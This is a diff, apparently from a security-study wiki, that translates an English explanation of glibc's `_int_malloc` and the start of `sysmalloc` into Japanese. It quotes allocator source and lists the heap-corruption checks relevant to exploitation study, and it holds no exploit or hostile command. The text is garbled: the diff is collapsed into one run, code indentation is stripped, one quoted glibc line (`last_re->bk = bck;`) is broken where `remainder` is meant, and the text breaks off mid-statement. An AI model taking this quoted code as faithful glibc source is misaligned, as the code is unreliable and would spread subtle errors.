-_int_malloc unsorted bin start - +_int_malloc 未整理のビン開始 ```c /* - Process recently freed or remaindered chunks, taking one only if - it is exact fit, or, if this a small request, the chunk is remainder from - the most recent non-exact fit. Place other traversed chunks in - bins. Note that this step is the only place in any routine where - chunks are placed in bins. +Process recently freed or remaindered chunks, taking one only if +it is exact fit, or, if this a small request, the chunk is remainder from +the most recent non-exact fit. Place other traversed chunks in +bins. Note that this step is the only place in any routine where +chunks are placed in bins. - The outer loop here is needed because we might not realize until - near the end of malloc that we should have consolidated, so must - do so and retry. This happens at most once, and only when we would - otherwise need to expand memory to service a "small" request. - */ +The outer loop here is needed because we might not realize until +near the end of malloc that we should have consolidated, so must +do so and retry. This happens at most once, and only when we would +otherwise need to expand memory to service a "small" request. +*/ #if USE_TCACHE - INTERNAL_SIZE_T tcache_nb = 0; - size_t tc_idx = csize2tidx (nb); - if (tcache != NULL && tc_idx < mp_.tcache_bins) - tcache_nb = nb; - int return_cached = 0; +INTERNAL_SIZE_T tcache_nb = 0; +size_t tc_idx = csize2tidx (nb); +if (tcache != NULL && tc_idx < mp_.tcache_bins) +tcache_nb = nb; +int return_cached = 0; - tcache_unsorted_count = 0; +tcache_unsorted_count = 0; #endif - for (;; ) - { - int iters = 0; - while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) - { - bck = victim->bk; - size = chunksize (victim); - mchunkptr next = chunk_at_offset (victim, size); +for (;; ) +{ +int iters = 0; +while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) +{ +bck = victim->bk; +size = chunksize (victim); +mchunkptr next = chunk_at_offset (victim, size); - if (__glibc_unlikely (size <= CHUNK_HDR_SZ) - || __glibc_unlikely (size > av->system_mem)) - malloc_printerr ("malloc(): invalid size (unsorted)"); - if (__glibc_unlikely (chunksize_nomask (next) < CHUNK_HDR_SZ) - || __glibc_unlikely (chunksize_nomask (next) > av->system_mem)) - malloc_printerr ("malloc(): invalid next size (unsorted)"); - if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size)) - malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)"); - if (__glibc_unlikely (bck->fd != victim) - || __glibc_unlikely (victim->fd != unsorted_chunks (av))) - malloc_printerr ("malloc(): unsorted double linked list corrupted"); - if (__glibc_unlikely (prev_inuse (next))) - malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)"); +if (__glibc_unlikely (size <= CHUNK_HDR_SZ) +|| __glibc_unlikely (size > av->system_mem)) +malloc_printerr ("malloc(): invalid size (unsorted)"); +if (__glibc_unlikely (chunksize_nomask (next) < CHUNK_HDR_SZ) +|| __glibc_unlikely (chunksize_nomask (next) > av->system_mem)) +malloc_printerr ("malloc(): invalid next size (unsorted)"); +if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size)) +malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)"); +if (__glibc_unlikely (bck->fd != victim) +|| __glibc_unlikely (victim->fd != unsorted_chunks (av))) +malloc_printerr ("malloc(): unsorted double linked list corrupted"); +if (__glibc_unlikely (prev_inuse (next))) +malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)"); ``` -
-#### if `in_smallbin_range` +#### `in_smallbin_range` の場合 -If the chunk is bigger than the requested size use it, and set the rest of the chunk space into the unsorted list and update the `last_remainder` with it. +チャンクが要求されたサイズより大きい場合はそれを使用し、チャンクの残りのスペースを未ソートリストに設定し、`last_remainder` をそれで更新します。
-_int_malloc unsorted bin in_smallbin_range - +_int_malloc 未ソートビン in_smallbin_range ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4090C11-L4124C14 /* - If a small request, try to use last remainder if it is the - only chunk in unsorted bin. This helps promote locality for - runs of consecutive small requests. This is the only - exception to best-fit, and applies only when there is - no exact fit for a small chunk. - */ +If a small request, try to use last remainder if it is the +only chunk in unsorted bin. This helps promote locality for +runs of consecutive small requests. This is the only +exception to best-fit, and applies only when there is +no exact fit for a small chunk. +*/ - if (in_smallbin_range (nb) && - bck == unsorted_chunks (av) && - victim == av->last_remainder && - (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) - { - /* split and reattach remainder */ - remainder_size = size - nb; - remainder = chunk_at_offset (victim, nb); - unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder; - av->last_remainder = remainder; - remainder->bk = remainder->fd = unsorted_chunks (av); - if (!in_smallbin_range (remainder_size)) - { - remainder->fd_nextsize = NULL; - remainder->bk_nextsize = NULL; - } +if (in_smallbin_range (nb) && +bck == unsorted_chunks (av) && +victim == av->last_remainder && +(unsigned long) (size) > (unsigned long) (nb + MINSIZE)) +{ +/* split and reattach remainder */ +remainder_size = size - nb; +remainder = chunk_at_offset (victim, nb); +unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder; +av->last_remainder = remainder; +remainder->bk = remainder->fd = unsorted_chunks (av); +if (!in_smallbin_range (remainder_size)) +{ +remainder->fd_nextsize = NULL; +remainder->bk_nextsize = NULL; +} - set_head (victim, nb | PREV_INUSE | - (av != &main_arena ? NON_MAIN_ARENA : 0)); - set_head (remainder, remainder_size | PREV_INUSE); - set_foot (remainder, remainder_size); +set_head (victim, nb | PREV_INUSE | +(av != &main_arena ? NON_MAIN_ARENA : 0)); +set_head (remainder, remainder_size | PREV_INUSE); +set_foot (remainder, remainder_size); - check_malloced_chunk (av, victim, nb); - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; - } +check_malloced_chunk (av, victim, nb); +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} ``` -
-If this was successful, return the chunk ant it's over, if not, continue executing the function... +成功した場合はチャンクを返し、終了します。成功しなかった場合は、関数の実行を続けます... -#### if equal size +#### サイズが等しい場合 -Continue removing the chunk from the bin, in case the requested size is exactly the one of the chunk: +要求されたサイズがチャンクのサイズと正確に一致する場合、ビンからチャンクを削除し続けます: -- If the tcache is not filled, add it to the tcache and continue indicating that there is a tcache chunk that could be used -- If tcache is full, just use it returning it +- tcacheが満たされていない場合は、tcacheに追加し、使用できるtcacheチャンクがあることを示し続けます +- tcacheが満杯の場合は、それを返して使用します
-_int_malloc unsorted bin equal size - +_int_malloc 未ソートビン等サイズ ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4126C11-L4157C14 /* remove from unsorted list */ - unsorted_chunks (av)->bk = bck; - bck->fd = unsorted_chunks (av); +unsorted_chunks (av)->bk = bck; +bck->fd = unsorted_chunks (av); - /* Take now instead of binning if exact fit */ +/* Take now instead of binning if exact fit */ - if (size == nb) - { - set_inuse_bit_at_offset (victim, size); - if (av != &main_arena) - set_non_main_arena (victim); +if (size == nb) +{ +set_inuse_bit_at_offset (victim, size); +if (av != &main_arena) +set_non_main_arena (victim); #if USE_TCACHE - /* Fill cache first, return to user only if cache fills. - We may return one of these chunks later. */ - if (tcache_nb > 0 - && tcache->counts[tc_idx] < mp_.tcache_count) - { - tcache_put (victim, tc_idx); - return_cached = 1; - continue; - } - else - { +/* Fill cache first, return to user only if cache fills. +We may return one of these chunks later. */ +if (tcache_nb > 0 +&& tcache->counts[tc_idx] < mp_.tcache_count) +{ +tcache_put (victim, tc_idx); +return_cached = 1; +continue; +} +else +{ #endif - check_malloced_chunk (av, victim, nb); - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; +check_malloced_chunk (av, victim, nb); +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; #if USE_TCACHE - } +} #endif - } +} ``` -
-If chunk not returned or added to tcache, continue with the code... +チャンクが返されないか、tcacheに追加されない場合は、コードを続行します... -#### place chunk in a bin +#### チャンクをビンに配置する -Store the checked chunk in the small bin or in the large bin according to the size of the chunk (keeping the large bin properly organized). +チェックされたチャンクをサイズに応じて小ビンまたは大ビンに格納します(大ビンを適切に整理しておきます)。 -There are security checks being performed to make sure both large bin doubled linked list are corrupted: +大ビンの二重リンクリストが破損していないことを確認するために、セキュリティチェックが行われます: - If `fwd->bk_nextsize->fd_nextsize != fwd`: `malloc(): largebin double linked list corrupted (nextsize)` - If `fwd->bk->fd != fwd`: `malloc(): largebin double linked list corrupted (bk)`
-_int_malloc place chunk in a bin - +_int_malloc チャンクをビンに配置する ```c /* place chunk in bin */ - if (in_smallbin_range (size)) - { - victim_index = smallbin_index (size); - bck = bin_at (av, victim_index); - fwd = bck->fd; - } - else - { - victim_index = largebin_index (size); - bck = bin_at (av, victim_index); - fwd = bck->fd; +if (in_smallbin_range (size)) +{ +victim_index = smallbin_index (size); +bck = bin_at (av, victim_index); +fwd = bck->fd; +} +else +{ +victim_index = largebin_index (size); +bck = bin_at (av, victim_index); +fwd = bck->fd; - /* maintain large bins in sorted order */ - if (fwd != bck) - { - /* Or with inuse bit to speed comparisons */ - size |= PREV_INUSE; - /* if smaller than smallest, bypass loop below */ - assert (chunk_main_arena (bck->bk)); - if ((unsigned long) (size) - < (unsigned long) chunksize_nomask (bck->bk)) - { - fwd = bck; - bck = bck->bk; +/* maintain large bins in sorted order */ +if (fwd != bck) +{ +/* Or with inuse bit to speed comparisons */ +size |= PREV_INUSE; +/* if smaller than smallest, bypass loop below */ +assert (chunk_main_arena (bck->bk)); +if ((unsigned long) (size) +< (unsigned long) chunksize_nomask (bck->bk)) +{ +fwd = bck; +bck = bck->bk; - victim->fd_nextsize = fwd->fd; - victim->bk_nextsize = fwd->fd->bk_nextsize; - fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; - } - else - { - assert (chunk_main_arena (fwd)); - while ((unsigned long) size < chunksize_nomask (fwd)) - { - fwd = fwd->fd_nextsize; - assert (chunk_main_arena (fwd)); - } +victim->fd_nextsize = fwd->fd; +victim->bk_nextsize = fwd->fd->bk_nextsize; +fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; +} +else +{ +assert (chunk_main_arena (fwd)); +while ((unsigned long) size < chunksize_nomask (fwd)) +{ +fwd = fwd->fd_nextsize; +assert (chunk_main_arena (fwd)); +} - if ((unsigned long) size - == (unsigned long) chunksize_nomask (fwd)) - /* Always insert in the second position. */ - fwd = fwd->fd; - else - { - victim->fd_nextsize = fwd; - victim->bk_nextsize = fwd->bk_nextsize; - if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) - malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)"); - fwd->bk_nextsize = victim; - victim->bk_nextsize->fd_nextsize = victim; - } - bck = fwd->bk; - if (bck->fd != fwd) - malloc_printerr ("malloc(): largebin double linked list corrupted (bk)"); - } - } - else - victim->fd_nextsize = victim->bk_nextsize = victim; - } +if ((unsigned long) size +== (unsigned long) chunksize_nomask (fwd)) +/* Always insert in the second position. */ +fwd = fwd->fd; +else +{ +victim->fd_nextsize = fwd; +victim->bk_nextsize = fwd->bk_nextsize; +if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) +malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)"); +fwd->bk_nextsize = victim; +victim->bk_nextsize->fd_nextsize = victim; +} +bck = fwd->bk; +if (bck->fd != fwd) +malloc_printerr ("malloc(): largebin double linked list corrupted (bk)"); +} +} +else +victim->fd_nextsize = victim->bk_nextsize = victim; +} - mark_bin (av, victim_index); - victim->bk = bck; - victim->fd = fwd; - fwd->bk = victim; - bck->fd = victim; +mark_bin (av, victim_index); +victim->bk = bck; +victim->fd = fwd; +fwd->bk = victim; +bck->fd = victim; ``` -
-#### `_int_malloc` limits +#### `_int_malloc` の制限 -At this point, if some chunk was stored in the tcache that can be used and the limit is reached, just **return a tcache chunk**. +この時点で、使用可能な tcache にいくつかのチャンクが格納されていて、制限に達した場合は、単に **tcache チャンクを返す**。 -Moreover, if **MAX_ITERS** is reached, break from the loop for and get a chunk in a different way (top chunk). +さらに、**MAX_ITERS** に達した場合は、ループを抜けて別の方法でチャンクを取得する(トップチャンク)。 -If `return_cached` was set, just return a chunk from the tcache to avoid larger searches. +`return_cached` が設定されている場合は、より大きな検索を避けるために、単に tcache からチャンクを返す。
-_int_malloc limits - +_int_malloc の制限 ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4227C1-L4250C7 #if USE_TCACHE - /* If we've processed as many chunks as we're allowed while - filling the cache, return one of the cached ones. */ - ++tcache_unsorted_count; - if (return_cached - && mp_.tcache_unsorted_limit > 0 - && tcache_unsorted_count > mp_.tcache_unsorted_limit) - { - return tcache_get (tc_idx); - } +/* If we've processed as many chunks as we're allowed while +filling the cache, return one of the cached ones. */ +++tcache_unsorted_count; +if (return_cached +&& mp_.tcache_unsorted_limit > 0 +&& tcache_unsorted_count > mp_.tcache_unsorted_limit) +{ +return tcache_get (tc_idx); +} #endif #define MAX_ITERS 10000 - if (++iters >= MAX_ITERS) - break; - } +if (++iters >= MAX_ITERS) +break; +} #if USE_TCACHE - /* If all the small chunks we found ended up cached, return one now. */ - if (return_cached) - { - return tcache_get (tc_idx); - } +/* If all the small chunks we found ended up cached, return one now. */ +if (return_cached) +{ +return tcache_get (tc_idx); +} #endif ``` -
-If limits not reached, continue with the code... +制限に達していない場合は、コードを続けます... -### Large Bin (by index) +### 大きなビン(インデックスによる) -If the request is large (not in small bin) and we haven't yet returned any chunk, get the **index** of the requested size in the **large bin**, check if **not empty** of if the **biggest chunk in this bin is bigger** than the requested size and in that case find the **smallest chunk that can be used** for the requested size. +リクエストが大きい場合(小さなビンではなく)、まだチャンクを返していない場合は、**大きなビン**内のリクエストサイズの**インデックス**を取得し、**空でない**か、**このビン内の最大チャンクがリクエストサイズより大きい**かを確認します。その場合、リクエストサイズに使用できる**最小のチャンク**を見つけます。 -If the reminder space from the finally used chunk can be a new chunk, add it to the unsorted bin and the lsast_reminder is updated. +最終的に使用されたチャンクからの残りのスペースが新しいチャンクになり得る場合、それを未ソートビンに追加し、last_reminderが更新されます。 -A security check is made when adding the reminder to the unsorted bin: +未ソートビンに残りを追加する際にセキュリティチェックが行われます: - `bck->fd-> bk != bck`: `malloc(): corrupted unsorted chunks`
-_int_malloc Large bin (by index) - +_int_malloc 大きなビン(インデックスによる) ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4252C7-L4317C10 /* - If a large request, scan through the chunks of current bin in - sorted order to find smallest that fits. Use the skip list for this. - */ +If a large request, scan through the chunks of current bin in +sorted order to find smallest that fits. Use the skip list for this. +*/ - if (!in_smallbin_range (nb)) - { - bin = bin_at (av, idx); +if (!in_smallbin_range (nb)) +{ +bin = bin_at (av, idx); - /* skip scan if empty or largest chunk is too small */ - if ((victim = first (bin)) != bin - && (unsigned long) chunksize_nomask (victim) - >= (unsigned long) (nb)) - { - victim = victim->bk_nextsize; - while (((unsigned long) (size = chunksize (victim)) < - (unsigned long) (nb))) - victim = victim->bk_nextsize; +/* skip scan if empty or largest chunk is too small */ +if ((victim = first (bin)) != bin +&& (unsigned long) chunksize_nomask (victim) +>= (unsigned long) (nb)) +{ +victim = victim->bk_nextsize; +while (((unsigned long) (size = chunksize (victim)) < +(unsigned long) (nb))) +victim = victim->bk_nextsize; - /* Avoid removing the first entry for a size so that the skip - list does not have to be rerouted. */ - if (victim != last (bin) - && chunksize_nomask (victim) - == chunksize_nomask (victim->fd)) - victim = victim->fd; +/* Avoid removing the first entry for a size so that the skip +list does not have to be rerouted. */ +if (victim != last (bin) +&& chunksize_nomask (victim) +== chunksize_nomask (victim->fd)) +victim = victim->fd; - remainder_size = size - nb; - unlink_chunk (av, victim); +remainder_size = size - nb; +unlink_chunk (av, victim); - /* Exhaust */ - if (remainder_size < MINSIZE) - { - set_inuse_bit_at_offset (victim, size); - if (av != &main_arena) - set_non_main_arena (victim); - } - /* Split */ - else - { - remainder = chunk_at_offset (victim, nb); - /* We cannot assume the unsorted list is empty and therefore - have to perform a complete insert here. */ - bck = unsorted_chunks (av); - fwd = bck->fd; - if (__glibc_unlikely (fwd->bk != bck)) - malloc_printerr ("malloc(): corrupted unsorted chunks"); - last_re->bk = bck; - remainder->fd = fwd; - bck->fd = remainder; - fwd->bk = remainder; - if (!in_smallbin_range (remainder_size)) - { - remainder->fd_nextsize = NULL; - remainder->bk_nextsize = NULL; - } - set_head (victim, nb | PREV_INUSE | - (av != &main_arena ? NON_MAIN_ARENA : 0)); - set_head (remainder, remainder_size | PREV_INUSE); - set_foot (remainder, remainder_size); - } - check_malloced_chunk (av, victim, nb); - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; - } - } +/* Exhaust */ +if (remainder_size < MINSIZE) +{ +set_inuse_bit_at_offset (victim, size); +if (av != &main_arena) +set_non_main_arena (victim); +} +/* Split */ +else +{ +remainder = chunk_at_offset (victim, nb); +/* We cannot assume the unsorted list is empty and therefore +have to perform a complete insert here. */ +bck = unsorted_chunks (av); +fwd = bck->fd; +if (__glibc_unlikely (fwd->bk != bck)) +malloc_printerr ("malloc(): corrupted unsorted chunks"); +last_re->bk = bck; +remainder->fd = fwd; +bck->fd = remainder; +fwd->bk = remainder; +if (!in_smallbin_range (remainder_size)) +{ +remainder->fd_nextsize = NULL; +remainder->bk_nextsize = NULL; +} +set_head (victim, nb | PREV_INUSE | +(av != &main_arena ? NON_MAIN_ARENA : 0)); +set_head (remainder, remainder_size | PREV_INUSE); +set_foot (remainder, remainder_size); +} +check_malloced_chunk (av, victim, nb); +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} +} ``` -
-If a chunk isn't found suitable for this, continue +このチャンクが適切でない場合は、続行します。 -### Large Bin (next bigger) +### 大きなビン(次の大きいもの) -If in the exact large bin there wasn't any chunk that could be used, start looping through all the next large bin (starting y the immediately larger) until one is found (if any). +正確な大きなビンに使用できるチャンクがなかった場合は、次の大きなビン(すぐに大きいものから始める)をループして、見つかるまで(あれば)探します。 -The reminder of the split chunk is added in the unsorted bin, last_reminder is updated and the same security check is performed: +分割されたチャンクの残りは未整理ビンに追加され、last_reminderが更新され、同じセキュリティチェックが実行されます: - `bck->fd-> bk != bck`: `malloc(): corrupted unsorted chunks2`
-_int_malloc Large bin (next bigger) - +_int_malloc 大きなビン(次の大きいもの) ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4319C7-L4425C10 /* - Search for a chunk by scanning bins, starting with next largest - bin. This search is strictly by best-fit; i.e., the smallest - (with ties going to approximately the least recently used) chunk - that fits is selected. +Search for a chunk by scanning bins, starting with next largest +bin. This search is strictly by best-fit; i.e., the smallest +(with ties going to approximately the least recently used) chunk +that fits is selected. - The bitmap avoids needing to check that most blocks are nonempty. - The particular case of skipping all bins during warm-up phases - when no chunks have been returned yet is faster than it might look. - */ +The bitmap avoids needing to check that most blocks are nonempty. +The particular case of skipping all bins during warm-up phases +when no chunks have been returned yet is faster than it might look. +*/ - ++idx; - bin = bin_at (av, idx); - block = idx2block (idx); - map = av->binmap[block]; - bit = idx2bit (idx); +++idx; +bin = bin_at (av, idx); +block = idx2block (idx); +map = av->binmap[block]; +bit = idx2bit (idx); - for (;; ) - { - /* Skip rest of block if there are no more set bits in this block. */ - if (bit > map || bit == 0) - { - do - { - if (++block >= BINMAPSIZE) /* out of bins */ - goto use_top; - } - while ((map = av->binmap[block]) == 0); +for (;; ) +{ +/* Skip rest of block if there are no more set bits in this block. */ +if (bit > map || bit == 0) +{ +do +{ +if (++block >= BINMAPSIZE) /* out of bins */ +goto use_top; +} +while ((map = av->binmap[block]) == 0); - bin = bin_at (av, (block << BINMAPSHIFT)); - bit = 1; - } +bin = bin_at (av, (block << BINMAPSHIFT)); +bit = 1; +} - /* Advance to bin with set bit. There must be one. */ - while ((bit & map) == 0) - { - bin = next_bin (bin); - bit <<= 1; - assert (bit != 0); - } +/* Advance to bin with set bit. There must be one. */ +while ((bit & map) == 0) +{ +bin = next_bin (bin); +bit <<= 1; +assert (bit != 0); +} - /* Inspect the bin. It is likely to be non-empty */ - victim = last (bin); +/* Inspect the bin. It is likely to be non-empty */ +victim = last (bin); - /* If a false alarm (empty bin), clear the bit. */ - if (victim == bin) - { - av->binmap[block] = map &= ~bit; /* Write through */ - bin = next_bin (bin); - bit <<= 1; - } +/* If a false alarm (empty bin), clear the bit. */ +if (victim == bin) +{ +av->binmap[block] = map &= ~bit; /* Write through */ +bin = next_bin (bin); +bit <<= 1; +} - else - { - size = chunksize (victim); +else +{ +size = chunksize (victim); - /* We know the first chunk in this bin is big enough to use. */ - assert ((unsigned long) (size) >= (unsigned long) (nb)); +/* We know the first chunk in this bin is big enough to use. */ +assert ((unsigned long) (size) >= (unsigned long) (nb)); - remainder_size = size - nb; +remainder_size = size - nb; - /* unlink */ - unlink_chunk (av, victim); +/* unlink */ +unlink_chunk (av, victim); - /* Exhaust */ - if (remainder_size < MINSIZE) - { - set_inuse_bit_at_offset (victim, size); - if (av != &main_arena) - set_non_main_arena (victim); - } +/* Exhaust */ +if (remainder_size < MINSIZE) +{ +set_inuse_bit_at_offset (victim, size); +if (av != &main_arena) +set_non_main_arena (victim); +} - /* Split */ - else - { - remainder = chunk_at_offset (victim, nb); +/* Split */ +else +{ +remainder = chunk_at_offset (victim, nb); - /* We cannot assume the unsorted list is empty and therefore - have to perform a complete insert here. */ - bck = unsorted_chunks (av); - fwd = bck->fd; - if (__glibc_unlikely (fwd->bk != bck)) - malloc_printerr ("malloc(): corrupted unsorted chunks 2"); - remainder->bk = bck; - remainder->fd = fwd; - bck->fd = remainder; - fwd->bk = remainder; +/* We cannot assume the unsorted list is empty and therefore +have to perform a complete insert here. */ +bck = unsorted_chunks (av); +fwd = bck->fd; +if (__glibc_unlikely (fwd->bk != bck)) +malloc_printerr ("malloc(): corrupted unsorted chunks 2"); +remainder->bk = bck; +remainder->fd = fwd; +bck->fd = remainder; +fwd->bk = remainder; - /* advertise as last remainder */ - if (in_smallbin_range (nb)) - av->last_remainder = remainder; - if (!in_smallbin_range (remainder_size)) - { - remainder->fd_nextsize = NULL; - remainder->bk_nextsize = NULL; - } - set_head (victim, nb | PREV_INUSE | - (av != &main_arena ? NON_MAIN_ARENA : 0)); - set_head (remainder, remainder_size | PREV_INUSE); - set_foot (remainder, remainder_size); - } - check_malloced_chunk (av, victim, nb); - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; - } - } +/* advertise as last remainder */ +if (in_smallbin_range (nb)) +av->last_remainder = remainder; +if (!in_smallbin_range (remainder_size)) +{ +remainder->fd_nextsize = NULL; +remainder->bk_nextsize = NULL; +} +set_head (victim, nb | PREV_INUSE | +(av != &main_arena ? NON_MAIN_ARENA : 0)); +set_head (remainder, remainder_size | PREV_INUSE); +set_foot (remainder, remainder_size); +} +check_malloced_chunk (av, victim, nb); +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} +} ``` -
-### Top Chunk +### トップチャンク -At this point, it's time to get a new chunk from the Top chunk (if big enough). +この時点で、十分な大きさの新しいチャンクをトップチャンクから取得する時です。 -It starts with a security check making sure that the size of the chunk size is not too big (corrupted): +最初に、チャンクサイズが大きすぎないことを確認するセキュリティチェックが行われます(破損している): - `chunksize(av->top) > av->system_mem`: `malloc(): corrupted top size` -Then, it'll use the top chunk space if it's large enough to create a chunk of the requested size.\ -If not, if there are fast chunks, consolidate them and try again.\ -Finally, if not enough space use `sysmalloc` to allocate enough size. +次に、要求されたサイズのチャンクを作成するのに十分な大きさであれば、トップチャンクのスペースを使用します。\ +そうでない場合、ファストチャンクがあれば、それらを統合して再試行します。\ +最後に、十分なスペースがない場合は、`sysmalloc`を使用して十分なサイズを割り当てます。
-_int_malloc Top chunk - +_int_malloc トップチャンク ```c use_top: - /* - If large enough, split off the chunk bordering the end of memory - (held in av->top). Note that this is in accord with the best-fit - search rule. In effect, av->top is treated as larger (and thus - less well fitting) than any other available chunk since it can - be extended to be as large as necessary (up to system - limitations). +/* +If large enough, split off the chunk bordering the end of memory +(held in av->top). Note that this is in accord with the best-fit +search rule. In effect, av->top is treated as larger (and thus +less well fitting) than any other available chunk since it can +be extended to be as large as necessary (up to system +limitations). - We require that av->top always exists (i.e., has size >= - MINSIZE) after initialization, so if it would otherwise be - exhausted by current request, it is replenished. (The main - reason for ensuring it exists is that we may need MINSIZE space - to put in fenceposts in sysmalloc.) - */ +We require that av->top always exists (i.e., has size >= +MINSIZE) after initialization, so if it would otherwise be +exhausted by current request, it is replenished. (The main +reason for ensuring it exists is that we may need MINSIZE space +to put in fenceposts in sysmalloc.) +*/ - victim = av->top; - size = chunksize (victim); +victim = av->top; +size = chunksize (victim); - if (__glibc_unlikely (size > av->system_mem)) - malloc_printerr ("malloc(): corrupted top size"); +if (__glibc_unlikely (size > av->system_mem)) +malloc_printerr ("malloc(): corrupted top size"); - if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) - { - remainder_size = size - nb; - remainder = chunk_at_offset (victim, nb); - av->top = remainder; - set_head (victim, nb | PREV_INUSE | - (av != &main_arena ? NON_MAIN_ARENA : 0)); - set_head (remainder, remainder_size | PREV_INUSE); +if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) +{ +remainder_size = size - nb; +remainder = chunk_at_offset (victim, nb); +av->top = remainder; +set_head (victim, nb | PREV_INUSE | +(av != &main_arena ? NON_MAIN_ARENA : 0)); +set_head (remainder, remainder_size | PREV_INUSE); - check_malloced_chunk (av, victim, nb); - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; - } +check_malloced_chunk (av, victim, nb); +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} - /* When we are using atomic ops to free fast chunks we can get - here for all block sizes. */ - else if (atomic_load_relaxed (&av->have_fastchunks)) - { - malloc_consolidate (av); - /* restore original bin index */ - if (in_smallbin_range (nb)) - idx = smallbin_index (nb); - else - idx = largebin_index (nb); - } +/* When we are using atomic ops to free fast chunks we can get +here for all block sizes. */ +else if (atomic_load_relaxed (&av->have_fastchunks)) +{ +malloc_consolidate (av); +/* restore original bin index */ +if (in_smallbin_range (nb)) +idx = smallbin_index (nb); +else +idx = largebin_index (nb); +} - /* - Otherwise, relay to handle system-dependent cases - */ - else - { - void *p = sysmalloc (nb, av); - if (p != NULL) - alloc_perturb (p, bytes); - return p; - } - } +/* +Otherwise, relay to handle system-dependent cases +*/ +else +{ +void *p = sysmalloc (nb, av); +if (p != NULL) +alloc_perturb (p, bytes); +return p; +} +} } ``` -
## sysmalloc -### sysmalloc start +### sysmallocの開始 -If arena is null or the requested size is too big (and there are mmaps left permitted) use `sysmalloc_mmap` to allocate space and return it. +arenaがnullであるか、要求されたサイズが大きすぎる場合(かつ許可されているmmapsが残っている場合)、`sysmalloc_mmap`を使用してスペースを割り当て、それを返します。
-sysmalloc start - +sysmallocの開始 ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2531 /* - sysmalloc handles malloc cases requiring more memory from the system. - On entry, it is assumed that av->top does not have enough - space to service request for nb bytes, thus requiring that av->top - be extended or replaced. - */ +sysmalloc handles malloc cases requiring more memory from the system. +On entry, it is assumed that av->top does not have enough +space to service request for nb bytes, thus requiring that av->top +be extended or replaced. +*/ - static void * +static void * sysmalloc (INTERNAL_SIZE_T nb, mstate av) { - mchunkptr old_top; /* incoming value of av->top */ - INTERNAL_SIZE_T old_size; /* its size */ - char *old_end; /* its end address */ +mchunkptr old_top; /* incoming value of av->top */ +INTERNAL_SIZE_T old_size; /* its size */ +char *old_end; /* its end address */ - long size; /* arg to first MORECORE or mmap call */ - char *brk; /* return value from MORECORE */ +long size; /* arg to first MORECORE or mmap call */ +char *brk; /* return value from MORECORE */ - long correction; /* arg to 2nd MORECORE call */ - char *snd_brk; /* 2nd return val */ +long correction; /* arg to 2nd MORECORE call */ +char *snd_brk; /* 2nd return val */ - INTERNAL_SIZE_T front_misalign; /* unusable bytes at front of new space */ - INTERNAL_SIZE_T end_misalign; /* partial page left at end of new space */ - char *aligned_brk; /* aligned offset into brk */ +INTERNAL_SIZE_T front_misalign; /* unusable bytes at front of new space */ +INTERNAL_SIZE_T end_misalign; /* partial page left at end of new space */ +char *aligned_brk; /* aligned offset into brk */ - mchunkptr p; /* the allocated/returned chunk */ - mchunkptr remainder; /* remainder from allocation */ - unsigned long remainder_size; /* its size */ +mchunkptr p; /* the allocated/returned chunk */ +mchunkptr remainder; /* remainder from allocation */ +unsigned long remainder_size; /* its size */ - size_t pagesize = GLRO (dl_pagesize); - bool tried_mmap = false; +size_t pagesize = GLRO (dl_pagesize); +bool tried_mmap = false; - /* - If have mmap, and the request size meets the mmap threshold, and - the system supports mmap, and there are few enough currently - allocated mmapped regions, try to directly map this request - rather than expanding top. - */ +/* +If have mmap, and the request size meets the mmap threshold, and +the system supports mmap, and there are few enough currently +allocated mmapped regions, try to directly map this request +rather than expanding top. +*/ - if (av == NULL - || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold) - && (mp_.n_mmaps < mp_.n_mmaps_max))) - { - char *mm; - if (mp_.hp_pagesize > 0 && nb >= mp_.hp_pagesize) - { - /* There is no need to issue the THP madvise call if Huge Pages are - used directly. */ - mm = sysmalloc_mmap (nb, mp_.hp_pagesize, mp_.hp_flags, av); - if (mm != MAP_FAILED) - return mm; - } - mm = sysmalloc_mmap (nb, pagesize, 0, av); - if (mm != MAP_FAILED) - return mm; - tried_mmap = true; - } +if (av == NULL +|| ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold) +&& (mp_.n_mmaps < mp_.n_mmaps_max))) +{ +char *mm; +if (mp_.hp_pagesize > 0 && nb >= mp_.hp_pagesize) +{ +/* There is no need to issue the THP madvise call if Huge Pages are +used directly. */ +mm = sysmalloc_mmap (nb, mp_.hp_pagesize, mp_.hp_flags, av); +if (mm != MAP_FAILED) +return mm; +} +mm = sysmalloc_mmap (nb, pagesize, 0, av); +if 